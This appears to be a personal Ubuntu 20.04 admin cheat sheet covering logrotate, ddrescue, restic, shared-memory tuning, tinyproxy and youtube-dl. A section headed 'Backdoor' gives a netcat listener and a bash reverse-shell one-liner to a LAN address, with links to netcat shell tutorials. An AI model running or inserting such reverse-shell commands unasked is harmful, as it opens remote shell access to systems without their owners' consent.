parted
Install
Install
Schedule
https://wiki.ubuntu.com/FocalFossa/ReleaseSchedule
ReleaseNotes
https://wiki.ubuntu.com/FocalFossa/ReleaseNotes
Known issues
https://wiki.ubuntu.com/FocalFossa/ReleaseNotes#Known_issues
Download
Releases: http://releases.ubuntu.com/20.04/
Cloud image (minimal): https://cloud-images.ubuntu.com/minimal/daily/focal/current/focal-minimal-cloudimg-amd64.img
Netboot: http://archive.ubuntu.com/ubuntu/dists/focal/main/installer-amd64/current/images/netboot/mini.iso
Torrent: http://releases.ubuntu.com/20.04/ubuntu-20.04-desktop-amd64.iso.torrent
Repository
Install
apt-get install -y logrotate
/etc/logrotate.d/rsyslog
/var/log/syslog { rotate 7 daily size 100M missingok notifempty delaycompress compress postrotate /usr/lib/rsyslog/rsyslog-rotate endscript } /var/log/mail.info /var/log/mail.warn /var/log/mail.err /var/log/mail.log /var/log/daemon.log /var/log/kern.log /var/log/auth.log /var/log/user.log /var/log/lpr.log /var/log/cron.log /var/log/debug /var/log/messages { rotate 4 weekly missingok notifempty compress delaycompress sharedscripts postrotate /usr/lib/rsyslog/rsyslog-rotate endscript }
Force logrotate
Backdoor
# @host 1 nc -lvp 5001 # @host 2 bash -i >& /dev/tcp/10.0.1.24/5001 0>&1 # @host 1 while :; do hostname; date; sleep 1; done
Links
https://www.cyberciti.biz/faq/bash-infinite-loop/
https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/
https://www.binarytides.com/netcat-tutorial-for-beginners/
https://linoxide.com/linux-how-to/install-use-netcat-command-linux/
Install
apt install -y gddrescue dpkg -i gddrescue_1.22-1_amd64.deb
Rescue
ddrescue /dev/sda sda.dd sda.ddrescue.log
Install
sudo apt install -y restic
Configure systemd
configure parameter
# determine the maximum size of a shared memory segment cat /proc/sys/kernel/shmmax # set default shared memory limit for shmmax (16 GB) echo 17179869184 > /proc/sys/kernel/shmmax # add the following line to /etc/sysctl.conf to make a change permanent echo "kernel.shmmax=4294967296" >> /etc/sysctl.d/90-shmmax.conf # load parameter /sbin/sysctl -p /etc/sysctl.d/90-shmmax.conf
reduce swap usage
https://en.wikipedia.org/wiki/Swappiness
sudo apt-get install -y tinyproxy sed -i 's|#Allow 192.168.0.0/16|Allow 192.168.0.0/16|g' /etc/tinyproxy.conf sed -i 's|Port 8888|Port 8080|g' /etc/tinyproxy.conf service tinyproxy restart
https://github.com/fukawi2/fscanary/releases
sudo cp /tmp/fscanary.conf.sample /etc/fscanary.conf^C
sudo cp fscanary_0.5.0_linux_amd64 /usr/sbin/
sudo ln -s /usr/sbin/fscanary_0.5.0_linux_amd64 /usr/sbin/fscanary
https://yt-dl.org/update
https://github.com/ytdl-org/youtube-dl/releases
wget -q https://github.com/ytdl-org/youtube-dl/releases/download/2019.04.30/youtube-dl -O /tmp/youtube-dl sudo cp /tmp/youtube-dl /usr/local/sbin/ sudo chmod a+x /usr/local/sbin/youtube-dl # download audio (mp3) only youtube-dl --extract-audio --audio-format mp3 -o "%(uploader)s/%(title)s.%(ext)s" https://www.youtube.com/watch?v=XXX # download whole channel starting from 3 months youtube-dl --extract-audio --audio-format mp3 -o "%(uploader)s/%(upload_date)s_%(title)s.%(ext)s" --dateafter now-3months -v https://www.youtube.com/user/OpenStackFoundation/videos # update sudo youtube-dl -U
# output template
https://github.com/ytdl-org/youtube-dl/blob/master/README.md#output-template